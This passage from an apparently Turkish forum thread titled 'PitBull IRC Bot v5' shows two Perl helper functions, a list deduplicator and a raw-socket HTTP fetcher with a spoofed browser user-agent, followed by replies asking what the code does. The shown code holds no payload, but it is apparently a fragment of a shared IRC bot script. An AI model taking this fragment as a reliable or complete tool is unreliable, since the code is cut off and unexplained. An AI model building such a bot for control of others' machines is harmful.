    sub unici{
    my @unici = ();
    my %visti = ();
    foreach my $elemento ( @_ )
    {
    next if $visti{ $elemento }++;
    push @unici, $elemento;
    }  
    return @unici;
    }
    
    sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
    local $SIG{ALRM} = sub { die "1";};
    alarm 10;
    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
    my @r = <$sock>;
    $page="@r";
    alarm 0;
    close($sock);
    };
    return $page;
    }
    }
    [COLOR=Lime][FONT=Trebuchet MS][I][B][SIZE=2]Doluyum bir boşluğa karşı[/SIZE]. .[/B][SIZE=1]
    Gel [SIZE=3][B]![/B][/SIZE] derim[/SIZE][B] . .[/B][/I][/FONT][/COLOR]
    [COLOR=Red][IMG]http://s05.flagcounter.com/count/Wi8/bg=2C12DB/txt=E5ED07/border=CCCCCC/columns=6/maxflags=248/viewers=PassKontroLL/labels=0/[/IMG][/COLOR]

  2. #2
    ACEMİ ER Cezine is on a distinguished road
    Üyelik tarihi
    Sep 2008
    Mesajlar
    7
    Forum Katkısı:
    0

    Standart

    tşkrler kardes paylasim icin nomercy yokmuydu peki sizde..

  3. #3
    ACEMİ ER Che_ErNeSTo63 is on a distinguished road
    Üyelik tarihi
    Dec 2007
    Mesajlar
    4
    Forum Katkısı:
    0

    Standart

    Açiklamasinida Yapsaydin Bari..

  4. #4
    ER z2a4za is on a distinguished road
    Üyelik tarihi
    Aug 2007
    Mesajlar
    53
    Forum Katkısı:
    0

    Standart

    açıklama yapılabuılırmı

  5. #5
    ACEMİ ER zLine is on a distinguished road
    Üyelik tarihi
    Feb 2010
    Mesajlar
    1
    Forum Katkısı:
    0

    Standart Cevap: PitBull IRC Bot v5

    yazmıssınız ama hiç bir açıklama yok ne anladım ben bundan ne işe yarar bu biraz acıklayıcı olun pLs.

  6. #6
    ÇAVUŞ harbuzi31 is on a distinguished road
    Üyelik tarihi
    Feb 2010
    Mesajlar
    324
    Forum Katkısı:
    0

    Standart Cevap: PitBull IRC Bot v5

    ne işe yarıyo bu acaba ? açıklama yok

  7. #7
    ÇAVUŞ oguzhan5334 is on a distinguished road
    Üyelik tarihi
    Oct 2009
    Mesajlar
    309
    Forum Katkısı:
    0

    Standart Cevap: PitBull IRC Bot v5

    bu ne işe yarıyor

  8. #8
    ÇAVUŞ harbuzi31 is on a distinguished road
    Üyelik tarihi
    Feb 2010
    Mesajlar
    324
    Forum Katkısı:
    0

    Standart Cevap: PitBull IRC Bot v5

    bende çözemedim chat scrripti sanırsam bi açıklama yok programla ilgili sadece kodlar var

+ Konu Cevaplama Paneli

Bookmarks

Yetkileriniz

  • Konu Acma Yetkiniz Yok
  • Cevap Yazma Yetkiniz Yok
  • Eklenti Yükleme Yetkiniz Yok
  • Mesajınızı Değiştirme Yetkiniz Yok
Green Kart | Green Card

Search Engine Friendly URLs by vBSEO ©2010, Crawlability, Inc.